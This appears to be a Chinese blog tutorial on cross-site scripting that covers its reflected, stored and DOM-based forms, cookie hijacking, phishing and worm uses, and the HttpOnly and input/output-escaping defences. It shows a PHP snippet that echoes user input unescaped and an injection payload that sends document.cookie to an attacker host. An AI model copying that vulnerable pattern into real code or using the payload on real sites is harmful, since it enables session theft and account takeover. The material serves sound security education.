XSS攻击通常指黑客通过"HTML注入"篡改了页面,插入了恶意脚本,下面演示一个简单的例子:
<?php $input = $_GET("param"); echo "<div>".$input."</div>"; ?>
这个服务端脚本的目的是将用户输入的数据显示到页面中;一般我们随便输入一段文字:桔子桑
页面自然显示:<div>桔子桑</div>;
但是别有用心的人可能会这么输入:<script>alert("hello world")</script>
最后的结果你也应该猜到了,页面并不会像网站设计者所期望的那样。
XSS根据效果不同可以分为如下几类:
1.反射型XSS
反射型XSS只是简单的将用户输入的数据“反射”给浏览器,上面的例子就是这种类型。
2.存储型XSS
存储型XSS是指将恶意用户输入的脚本存到了数据库,当用到这条数据的时候,其中包含的脚本就会执行,并且只要
数据库没有删除,那么这种攻击将一直存在,我们称这种XSS具有很强的稳定性。
3.DOM Based XSS
这种类型的XSS改变了DOM的结构,比如:
<a href='来自用户输入'>点击</a>
接下来看一段用户输入的数据:
<a href=''><div>12121212</div><''>点击</a>
你会发现,用户的输入使得a标签提前结束,并插入了自定义的DOM。
现在假设某一网站存在XSS漏洞,那么攻击者可以植入哪些特定功能的恶意脚本呢(XSS Payload)?
4.1 cookie劫持
我们都知道,网站识别用户身份是通过cookie的,这一点在之前的web认证里面有提到:cookie认证;
那么,XSS攻击者通过植入一段js脚本:
***src = "http://www.xss.com/log?"+escape(document.cookie)***
这样就可以把当前网站域的cookie(包括用于用户身份识别的cookie,通常称为token)发送到攻击者的服务器了;
注意,这里运用到了src标签的允许跨域的特性,这个在之前的浏览器跨域问题中也有提过:点击查看博客第五点;
攻击者拿到了当前用户在该网站域的cookie之后,在他的电脑上将cookie加以替换,然后就能轻而易举地登录被攻
击者的账户了。
4.2XSS钓鱼
钓鱼网站相信大家都不陌生,攻击者通过仿造一个和源站极度相似的网站来诱使被攻击者输入用户名密码,当用户名
和密码被发送到攻击者服务器之后,后面的事就不用多说了。
4.3XSS Worm
XSS蠕虫,蠕虫可以在短时间内感染互联网上的其他联网设备;
2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的Xss Worm攻击,为每个用户的自我介绍后面加了一句话:
“but most of all,Samy is my hero”,短短几小时内感染了100万用户;
2007年,百度空间的用户忽然之间开始转发垃圾短消息,后来百度工程师紧急修复了该漏洞,这次事件,也是由XSS Worm
造成的,由于封锁及时,这个蠕虫只感染了8700多个blog。
4.4其他
XSS攻击基本上是基于js脚本的(在flash中是ActionScript),脚本可以获取用户客户端(浏览器)上的任何信息,甚至可以
间接获取用户电脑的其他信息,以及通过获取用户浏览器,操作系统信息之后,通过浏览器内存攻击来给被攻击者电脑植入
木马。
由此可见学好javascript是多么重要。
5.XSS的防御
针对XSS攻击,一些浏览器也内置了一些对抗XSS的措施,但是对于网站来说,也应当寻找优秀的解决方案;
5.1HttpOnly
HttpOnly首先是由微软提出的,并首次在IE6中实现,至今已经逐渐成为一个标准,该属性是为了对抗cookie劫持攻击;
服务端Set-Cookie向客户端写入Cookie时,设置HttpOnly,那么Javascript将获取不到该cookie;
<?php header("Set-Cookie:cookie1=test1"); header("Set-Cookie:cookie2=test2;httponly",false); ?>
我们看到,如此设置了两个cokie,但是document.cookie只能获取第一个cookie。
下面附上一张博客园的cookie列表:
可以看到,当前域(cnblogs.com)下有5个cookie,其中两个是httponly的,那么我们在控制台document.cookie试试
正如我们所预期的那样,httponly标识的cookie没能拿到。
5.2输入输出控制
由于XSS攻击是基于“html注入”的,所以最好的防御手段就是严格控制用户的输入,主要体现在字符编码,字符转义,敏感
标签以及富文本上,这些都是在设定XSS安全防范方案需要考虑的因素范围内。